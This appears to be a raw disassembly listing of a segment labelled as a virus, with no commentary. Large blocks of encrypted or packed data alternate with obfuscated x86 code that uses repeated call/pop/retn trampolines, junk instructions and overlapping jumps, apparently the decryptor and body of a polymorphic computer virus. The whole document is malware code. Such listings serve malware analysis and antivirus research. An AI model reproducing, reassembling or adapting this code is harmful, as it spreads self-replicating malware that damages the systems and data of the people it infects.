		dd 0EF719B37h, 3AE1ECFFh, 75471160h, 0A3748BF2h, 4787F17Ch
		dd 0F43632EEh, 0D92BED10h, 5B4AA6E0h, 31490D8Fh, 0A1D14B6Eh
		dd 532D97C2h, 0D7158CE9h, 551F7338h, 534297C3h,	0D98B5A56h
		dd 5B4AA4BCh, 73A50960h, 5C3E8BF2h, 5C2964BBh, 6358CE9h
		dd 803D62Ah, 18C488CDh,	5CBB88CDh, 0E138CE9h, 7FDCCE2Ah
		dd 3AAEBFE2h, 0D769C753h, 473F1D6Ch, 7B1701EEh,	0D5429256h
		dd 0E12F8DAAh, 5B4A9F48h, 0E3A93964h, 6FED8BF7h, 0AF2A8CE9h
		dd 0E426674Dh, 5C8A8CE9h, 5F314CE2h, 0D7A2942Bh, 0F5DA8ADh
		dd 5CA88C01h, 9FD5D7E9h, 5C2A8CFEh, 4C31D060h, 48AEC860h
		dd 0A67234B2h, 0BC5D8C42h, 5875C862h, 5CC26C16h, 5C5764BCh
		dd 10A8CE9h, 309CD12Ah,	180B88CDh, 5C5088CDh, 9E78CE9h
		dd 0B52A872Ah, 5CA88CFBh, 2167E808h, 4480DDBAh,	95E7709Eh
		dd 0D4DC7D10h, 9AC48BF5h, 0E3133Ch, 7A703162h, 0B4C98BF2h
		dd 5C548CE4h, 0C411411Bh, 803A90D9h, 6E9DDDDFh,	5AC683E5h
		dd 0D5A28CE9h, 47490D64h, 8B23D2EEh, 0F7983164h, 0D1A78BF7h
		dd 5B0B335Bh, 7A21B951h, 0CDC0BF71h, 77A597F1h,	0E63C4D26h
		dd 29D7A23Bh, 10A2AE6h,	0E95C158Fh, 0B79FD4ACh,	0ED783105h
		dd 0ED78E60Dh, 0F305E983h, 66D98BA4h, 59E9F18Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0C0E2C351h, 61F5EBCEh, 1820Fh, 0C3F50000h
		dd 128B0Fh, 0DE90000h, 1D000000h, 0A1401DA5h, 7C6F0DF8h
		dd 92068ADBh, 51F3BF60h, 9E80F50h, 8C000000h, 1892EEE4h
		dd 2297FACFh, 61595A51h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 384AAAC3h, 0F5D2F23h
		dd 1B86h, 15810F00h, 0E9000000h, 10h, 0DA72BC90h, 8F30A108h
		dd 0C515D8Dh, 782F5881h, 1BD1BD83h, 7500071Bh, 0D5BD8309h
		dd 71B1Fh, 53501974h, 0B9B8C08Bh, 89000004h, 1B131185h
		dd 1F9D8D07h, 0FF071DACh, 83585BD3h, 1B1FD5BDh,	17740007h
		dd 0B9B85350h, 89000004h, 1B131185h, 0C09D8D07h, 0FF071DA8h
		dd 6A585BD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 2BAC357h, 29F714E4h, 11E937h
		dd 218A0000h, 0F9981A50h, 9314D0D2h, 15A7F9B7h,	0F8F5D617h
		dd 1D870Fh, 66600000h, 0A29C881h, 11E9h, 51FB4600h, 83F072E2h
		dd 0A0C9EB48h, 1FEFCFB3h, 8B61D50Fh, 0EE9C0h, 6A3C0000h
		dd 56B53E6Dh, 422C9774h, 5613F33Dh, 6AC18B40h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 765C357h, 7EF6CD0Fh,	0F06C6E0h, 4EBF7BFh, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+71B1149h]
		push	0
		push	edi
		call	sub_5772DD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5772DD	proc near		; CODE XREF: Virus___:005772D5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5772DD	endp

; ---------------------------------------------------------------------------
		cmp	ds:0C5DB0D0Ch, ebx
		mov	edx, 8FE1BF66h
		lea	eax, [ebp+71B1255h]
		push	0
		push	ebp
		call	sub_57730A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57730A	proc near		; CODE XREF: Virus___:00577302p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_57730A	endp

; ---------------------------------------------------------------------------
		or	al, 26h
		or	ds:8FB3E071h, bh
		push	esi
		and	esi, [ebp+71B22FDh]
		mov	si, di
		push	eax
		mov	di, 8D57h
		mov	[esp], eax
		push	0
		push	eax
		call	sub_57733F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57733F	proc near		; CODE XREF: Virus___:00577337p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_57733F	endp

; ---------------------------------------------------------------------------
		jg	short loc_57738A
		aad	0E3h
		inc	ecx
		pop	esp
		xchg	eax, esi
		jz	short near ptr loc_5773AD+2
		push	0
		push	0
		push	esi
		call	sub_577365
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_577365	proc near		; CODE XREF: Virus___:0057735Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_577365	endp

; ---------------------------------------------------------------------------
		db 36h,	9Fh, 5Dh
; ---------------------------------------------------------------------------
		mov	ebx, 8B154AB9h
		mov	ebp, 71B2449h
		push	0
		mov	[ebp+71B1E81h],	eax


loc_57738A:				; CODE XREF: Virus___:0057734Fj
		lea	eax, [ebp+71EC2C6h]
		mov	[ebp+71B2E71h],	esi
		push	ecx
		mov	[ebp+71B327Dh],	esi
		pop	edi
		add	eax, 5
		adc	di, 6A27h
		pusha
		or	[ebp+71B2BF9h],	eax


loc_5773AD:				; CODE XREF: Virus___:00577356j
		adc	al, 78h
		popa
		nop
		push	eax
		jmp	loc_5773C0
; ---------------------------------------------------------------------------
		dd 3EEC8158h, 191E1A26h
; ---------------------------------------------------------------------------


loc_5773C0:				; CODE XREF: Virus___:005773B3j
		nop
		mov	di, cx
		push	0
		cmc
		mov	esi, 7FCB2364h
		push	0
		push	0
		push	eax
		call	sub_5773D9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5773D9	proc near		; CODE XREF: Virus___:005773D1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5773D9	endp

; ---------------------------------------------------------------------------
		db 32h,	47h, 0EBh
		dd 1EA7DCCEh, 8166DD1Ch, 0FFE255EFh, 1B1EA995h,	9C9D8D07h
		dd 0FF071E97h, 0C9BF66D3h, 4D85FF19h, 6A071B26h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 55D6C355h, 0F7C98899h, 844E9h, 0E800h, 815D0000h, 1EC2D0EDh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 859D8902h, 81071B12h, 1B2BFDBDh,	7D007h
		dd 93860F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0D58EC357h,	0B68C3E12h
		dd 8B831950h, 1B3595BDh, 0A59D8B07h, 81071B17h,	100E3h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8B420040h, 1B15D1BDh, 0A5B58B07h, 0B071B1Fh
		dd 87850FDBh, 8B000000h, 0B5B58BFBh, 83071B18h,	1EC15EBDh
		dd 840F0007h, 36h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 1BC35040h, 0C0897329h, 8B9FB02Fh, 1B26DDBDh
		dd 0D6816607h, 77E98E41h, 66000000h, 85C7F28Bh,	71EC15Eh
		dd 1, 291DB501h, 5FE9071Bh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 900C353h
		dd 4E03F535h, 8C19D29h,	85C7071Bh, 71EC15Eh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_577577
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_577577	proc near		; CODE XREF: Virus___:0057756Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_577577	endp

; ---------------------------------------------------------------------------
		db 36h
; ---------------------------------------------------------------------------
		pop	ebx
		cmpsd
		push	edi
		and	[edi-764AD6BFh], ch
		xor	bl, [ebx]
		pop	es
		jno	$+6
		lea	ebx, [ebp+71B17A5h]
		push	0
		push	ebp
		call	sub_5775AB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5775AB	proc near		; CODE XREF: Virus___:005775A3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5775AB	endp

; ---------------------------------------------------------------------------
		db 57h
		dd 0FD0D3A7h, 14619589h, 8B66071Bh, 0FF2381F7h,	6AFFFFFEh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 54F2C357h, 0A53FD16Ch, 0FE8h, 98405E00h
		dd 92A0E23Fh, 19D7180Ah, 0AA5E34A8h, 8C665EFCh,	8BDE81DBh
		dd 0F67DC732h, 840F04C3h, 67h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0D0C35545h,	0F992C93Dh, 9B457934h
		dd 0E9F78B35h, 11h, 0F937EAD9h,	78E96427h, 51DD6253h, 6A56538Ch
		dd 995FF0Fh, 8B071B2Ah,	1B20C5BDh, 60509007h, 9AB7A8B0h
		dd 50505E61h, 61606052h, 8B0Fh,	0F610000h, 90585A31h, 0E9F2BF0Fh
		dd 46Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 19h,	68C35242h, 0CFA4840Fh, 0FF38BD6h, 0A85h, 0C9816000h
		dd 636437Fh, 0B0616160h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 21495DF5h, 840FDBD5h
		dd 6, 0DBDB589h, 70E6071Bh, 0CB58DF81h,	71E475B1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 6BC35040h, 0F67A3BAh
		dd 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0CAA660C3h, 0BF13AA1Ah, 89733905h, 1B30CD95h
		dd 6BA07h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 32B726C3h, 0E920C1ECh, 8BE0CB8Ch
		dd 53006AC3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 9589F5BCh, 71B0B89h, 104E8C1h, 1B0D418Dh
		dd 61BD2307h, 66071B24h, 840FE2F7h, 6, 25DDB58Bh, 0D82B071Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 94C35141h
		dd 0BC9BC6CFh, 0FA4AFC2Fh, 2CB5B529h, 5093071Bh, 8B93F38Bh
		dd 0FDB5FFF7h, 6A071B2Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 2CFDC353h, 0CF8166E0h
		dd 95FF2A7Fh, 71B1289h,	16019589h, 0B0071Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 40C35141h, 11D5BD8Bh
		dd 9589071Bh, 71B3295h,	0EE970E6h, 30000000h, 3829DE87h
		dd 13DB93B8h, 0DCDC9DDEh, 6A71E4EDh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0C2E6C355h
		dd 8F19D89h, 613C071Bh,	275830Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0D9612AC3h
		dd 0DA1A9A95h, 11BF6620h, 880F8Fh, 0F000000h, 6AD8B6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F58F6C3h, 689h, 75BD0B00h, 0BA071B06h, 6, 9D858B60h
		dd 60071B13h, 17EDBD09h, 958B071Bh, 71B0351h, 0C38B6161h
		dd 79C78166h, 4E8C117h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0A4C35646h, 5CFA729Ch, 0E2F76661h, 0BE7328BEh
		dd 29D82B48h, 1B2355B5h, 95BD3307h, 58071B1Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B5C35747h, 0EE836E95h
		dd 0B20D3F7h, 15BD8B7Eh, 2B071B0Ah, 8C880FD8h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 60A9C356h, 16859D8Bh, 0FA8A071Bh,	0CDBD8B61h
		dd 0B9071B26h, 7, 2DF8166h, 0C1832Dh, 14E96056h, 0F0000000h
		dd 0C9CD08D6h, 8BA21102h, 5F45C5C1h, 660DF9FDh,	80C0BAB6h
		dd 5E6103EDh, 860FD93Bh, 12Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0E9C35040h,	0D67F7D67h, 0D98C66CDh
		dd 29FD9501h, 0C1F6071Bh, 0CF840F04h, 66000000h, 0EBBAD681h
		dd 2A0995FFh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 5C8816C3h, 6A5B9C2Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0F3D6C352h, 47DF7182h, 0BD8BD14Eh, 71B26CDh,	6AC32Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0A2864CC3h, 0E8C9ECFAh, 0Eh,	12FF82A9h, 0F5FAE550h
		dd 0CA5ED4D2h, 5E98722h, 0D2000000h, 0DB20C3E1h, 8343D5Eh
		dd 860F0000h, 2Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 54C35545h, 25B58BF9h,	0E9071B1Fh, 2Fh
		dd 2CB9BD8Bh, 0C08B071Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 2DC35545h, 86368B39h,	0EE9B08E4h, 8BF3B70Fh
		dd 6AD88BC3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 7C352h, 0F53AEB03h, 0C9BD8912h
		dd 0C7071B17h, 1B32D585h, 0EE271507h, 55006A1Bh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 3C1F263Dh, 0B5096E00h, 71B0A9Dh, 1EE9B509h, 0C08B071Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B2C35040h
		dd 9CEA1C7Dh, 0BE6653F9h, 815E6EFDh, 1B2BFDBDh,	7D007h
		dd 32850F00h, 0E8000000h, 5, 0CD578A92h, 85FF5FCEh, 71B2BFDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BDC35343h
		dd 0BDA8689Eh, 0FDB5FF63h, 8B071B2Bh, 1B0331B5h, 8995FF07h
		dd 6A071B12h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 4066C355h, 6D072350h, 11E9h, 3DF62A00h
		dd 9B33DA9Fh, 25CD8C6Bh, 0F9E4BDDBh, 0B52BEE46h, 71B2B81h
		dd 5678B890h, 8B661234h, 799D89FBh, 8D071B35h, 1ECAA79Dh
		dd 0F80BE907h, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 624605C3h, 8F0F9512h, 17h, 0BE8h
		dd 9CD96600h, 0BB3B2691h, 0F5CC9A6Fh, 458D895Fh, 0F071B21h
		dd 0C84h, 9850900h, 89071B2Bh, 1B00859Dh, 6AC18B07h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0EB01C356h, 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 1C5C541h, 53006A85h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0EF7C0383h, 8B607CC2h, 1B1AED8Dh, 68E0F07h, 81000000h
		dd 0FFE9F7F1h, 858D6119h, 71B1255h, 0CE9h, 0C1CC4600h
		dd 9FA94C80h, 0DEE24596h, 5E8505Eh, 78000000h, 0E7DE9D80h
		dd 0B607BE66h, 2404895Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 56C35747h, 0F28B66BAh, 0CE9h,	0FCBC5A00h
		dd 0F86B0741h, 71863D27h, 8B006A1Bh, 1B21C9BDh,	0E8006A07h
		dd 9, 35A350C0h, 0C5CDACD7h, 0B849BE59h, 0BF5F50EEh, 63F6FEDh
		dd 0CD3D858Dh, 6A071Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 6A81AEC3h, 4C097970h, 0B50988C0h
		dd 71B24DDh, 8105C083h,	0D1C977D7h, 0AE89070h, 0CF000000h
		dd 0BC876E51h, 0C1FC3C1Bh, 0F38B66D0h
		dd 5250505Eh, 128A0Fh, 0DE90000h, 8000000h, 684D58FFh
		dd 74BEDD31h, 3A0B7CBFh, 860F310Fh, 2, 585A6160h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 52D855DFh, 9B31FECBh, 89572441h, 1B0559BDh, 6A5F07h
		dd 0E61BD8Bh, 6A071Bh, 35498589h, 0EDBF071Bh, 0FF7117EFh
		dd 1B1EA995h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0AA51537Dh, 9C9D8DF5h, 6A071E97h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 1639C355h, 0ACABBE19h, 0D3FF6698h, 366668BFh
		dd 4D85FF40h, 6A071B26h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 8DAC355h, 15B58BA1h
		dd 0E9071B15h, 857h, 0E8h, 0ED815D00h, 71ECD47h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 4DC35747h, 485EA2C2h
		dd 1FD98589h, 8D29071Bh, 71B2EE9h, 2BFDBD81h, 7D0071Bh
		dd 860F0000h, 159h, 0AE9h, 819D1500h, 43C30A7Fh, 8B2C4C95h
		dd 1B12E99Dh, 9E907h, 0E0590000h, 0B185F4CBh, 0F3BFFA1h
		dd 0E381F6BFh, 100h, 0FDB0BF8h,	9B85h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 91817703h, 89C2B851h, 1B004D85h, 14E807h, 93400000h
		dd 0D1561823h, 44AC80E1h, 0A1DAA5C8h, 2D3CFA52h, 0BD331E17h
		dd 71B12EDh, 2FBD835Eh,	71ECBh,	0F840Fh, 0BF660000h, 70E96A94h
		dd 29000000h, 1B2FC195h, 2F85C707h, 1071ECBh, 8B000000h
		dd 1B2CFDB5h, 55E907h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 9F761AC3h, 158139Dh
		dd 0CB2F85C7h, 71Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 7ED432C3h, 3D62F336h
		dd 28CF81D3h, 8D1BCC76h, 1B12E99Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0D699EBB8h
		dd 0E36FFA77h, 35BD8BE3h, 81071B13h, 0FFFEFF23h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0FBBF0F1Fh, 0DB8C66F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 19C35343h, 0C39F3C2Ch, 12E886h, 55200000h
		dd 8277EE03h, 73924BCDh, 2E260AC8h, 6ED4B76h, 318D8960h
		dd 8B071B13h, 1B2F81BDh, 295F6107h, 1B2FC995h, 4C3F607h
		dd 5A840Fh, 8D0F0000h, 4, 0E6FFBE66h, 859EBE66h, 2A0995FFh
		dd 9529071Bh, 71B18E1h,	0AE890h, 23110000h, 0F476A196h
		dd 7AD9A86h, 6A90505Fh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0B4BEC351h,	158895D7h
		dd 68A0Fh, 0BD8B0000h, 71B0C01h, 419E9h, 0C9B50300h, 0B0071B29h
		dd 95B58900h, 0E6071B31h, 55006A70h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BE6624E6h
		dd 9D891B9Eh, 71B2C39h,	6A71E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0F48059C3h, 2CADB589h
		dd 0BE66071Bh, 0B58931E4h, 71B28D1h, 0BFD8B60Fh, 5ACDC4DCh
		dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 9F05DD2Eh, 0C38B3012h, 57D88160h
		dd 8B7D2D9Dh, 0E8C161DFh, 89B52304h, 9071B0Bh, 1B24B1BDh
		dd 0E2F76607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0F7C35747h, 85958928h, 2B071B04h, 55006AD8h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8150DE9Ch, 983C94D7h, 0F38B930Dh, 0F08B6650h, 51006A93h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0B0F705C5h, 0B5FFBF37h, 71B2BFDh, 29259509h,	95FF071Bh
		dd 71B1289h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	85C35141h, 6B829D9Ch, 0C9BD8935h, 0B0071B29h, 1820F00h
		dd 0F5000000h, 0CE970E6h, 0E0000000h, 0E6B91FC9h, 5C1253E8h
		dd 0E4DE3719h, 57006A71h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B198615h, 1B0D3DBDh
		dd 0F613C07h, 27183h, 3DBD8900h, 0F071B23h, 6AD8B6h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 910346C3h, 797490C3h, 0BD893305h, 71B29F5h, 7A52E7BEh
		dd 6BA6Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0C38B67C3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 9CC35141h, 0A020025Eh, 0E8159E20h
		dd 259DBD89h, 0E8C1071Bh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 8E65AFC4h
		dd 6656251Eh, 5E693FBFh, 0C1815060h, 68C02F5Eh,	0F59D2958h
		dd 61071B1Fh, 6AE2F766h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 28D7C351h, 11F1BD8Bh
		dd 0B58B071Bh, 71B2851h, 0BE8D82Bh, 1F000000h, 2999945Ch
		dd 0B60D4991h, 800F8E97h, 2, 605F6160h,	28BD9D8Bh, 9D8B071Bh
		dd 71B2A55h, 51BF5861h,	2B5D22C5h, 4F880FD8h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0E414C355h, 8D8907F6h, 71B18A9h, 7B9h, 0C183FC00h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 77BE5EE0h, 8B4AE052h, 1B1881BDh,	0FD93B07h
		dd 0F186h, 860F00h, 66000000h, 3E4BCF81h, 0F9D98C66h, 0F04C1F6h
		dd 9984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 42427B77h, 7E9h, 4D6EB700h, 0AEB742AEh
		dd 0F5BD89h, 8166071Bh,	0FFC9D4F6h, 1B2A0995h, 41BD0907h
		dd 5B071B04h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	45C35646h, 0C32B67CAh, 6850Fh, 9D890000h, 71B0D85h
		dd 60C68166h, 8343D5Eh,	860F0000h, 1Ah,	0AE9h, 1514D200h
		dd 0B4B1CE66h, 0E9359E40h, 46h,	275DB58Bh, 0C08B071Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E6C35343h
		dd 0F987A1A9h, 0BE9h, 0CD887D00h, 5ACC3149h, 59251B33h
		dd 88D0Fh, 8B510000h, 1B32CDB5h, 0C38B5E07h, 820FD88Bh
		dd 5, 8EEF8166h, 0A585C786h, 53071B17h,	0E9198C6Bh, 5
		dd 900DABD3h, 0D1B5895Eh, 8B071B2Bh, 51006AC0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD81465Bh
		dd 71B2BFDh, 7D0h, 26850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 57F24AC3h
		dd 85FFA945h, 71B2BFDh,	2BFDB5FFh, 0B529071Bh, 71B28C1h
		dd 128995FFh, 8E8071Bh,	0D2000000h, 0F551492h, 892329ABh
		dd 1B296185h, 9905E07h,	1B2F7995h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C301DBh, 0B58B86EFh
		dd 71B2801h, 0DE9h, 5965F00h, 9F8AEA9Ah, 4F37C041h, 0F78B3095h
		dd 60F8B70Fh, 6820Fh, 0BD8B0000h, 71B2D45h, 2699B509h
		dd 0F61071Bh, 88Bh, 0F7816600h,	0B70F4101h, 57006AF0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 6367BFA5h, 0E0D9125h, 95890000h, 71B0CD9h, 9830Fh, 0F8600000h
		dd 2C15958Bh, 0BE61071Bh, 2496B4DBh, 6800Fh, 0BD8B0000h
		dd 71B2C1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	40C35040h, 0E3F93BCCh, 8C1FB685h, 0EE9h, 7E474F00h
		dd 8A3715C7h, 784C015Ah, 0E98FA9DCh, 5,	0E159774Bh, 55006AF8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 19BBFD81h, 0D1E94D54h, 6AFFFFF7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0BB98C352h
		dd 606541EAh, 0D19D8954h, 0E9071B04h, 18h, 45D12F52h, 5	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_578CA5
; ---------------------------------------------------------------------------
		db 84h,	7Ah, 0A1h
		dd 6EA34A02h, 34E513DDh, 0C31EDD97h, 8F50A820h,	105BC2FCh
		dd 0DC9437E8h, 0A32DFE13h, 70F88B56h, 5CB05384h, 3B36817Ah
		dd 28BA94C2h, 40373F04h, 17AF60B5h, 65FBDA85h, 777F8DA3h
		dd 8870E05Fh, 0D8E4B457h, 669409BAh, 287AB5h, 1E092093h
		dd 0FA35EE16h, 80300AD2h, 368E2912h, 18128DA4h,	0EB892D0h
		dd 40EF1719h, 0A3BF4097h, 0A9BAC08Dh, 0AAD6F303h, 0F77EF40Ch
		dd 0B9D1ED22h, 5386711Bh, 0DE2719D4h, 96895CA9h, 2F2BE43Ch
		dd 46A8ABEBh, 32ED2ECCh, 6D1CBB60h, 969C8DA3h, 82579F91h
		dd 4F9267E1h, 0D5D0ECBCh, 53867107h, 0C21DC42Bh, 0F32ECB45h
		dd 889815A1h, 0F6B2F602h, 618A7A31h, 0E2D2EAA8h, 8B6F260h
		dd 1704D38Ch, 6E848DA4h, 0F01AD156h, 0E415CC04h, 1AE26A39h
		dd 35874EC1h, 8C8DA417h, 847CB36Ch, 0F868A778h,	6189DB0Ch
		dd 5E792231h, 0E28DA417h, 8195B0C8h, 0F5708B51h, 0BEC89387h
		dd 86AB9CB5h, 4Fh, 41AAA416h, 143F9788h, 8DA422C1h, 0D4E22541h
		dd 2DE2373Fh, 0A3665562h, 83D3478Dh, 88A69E59h,	11193h
		dd 3FC50000h, 63B64136h, 8A84D44Bh, 0F779AE63h,	0EC64DB0Eh
		dd 0F55DD20Fh, 0D31AD101h, 0CA805D9Ch, 9D31EE23h, 0C62EA645h
		dd 3F507E0Dh, 3729E63Bh, 87FA0BCEh, 0F006D18Ah,	608A8DA3h
		dd 95DE1F58h, 0A5FD14DFh, 0B2E2B66Ah, 8558A5AFh, 50F388Ah
		dd 0D19B28F5h, 0C53FF025h, 9135EA37h, 1C4E4D85h, 0CD568B72h
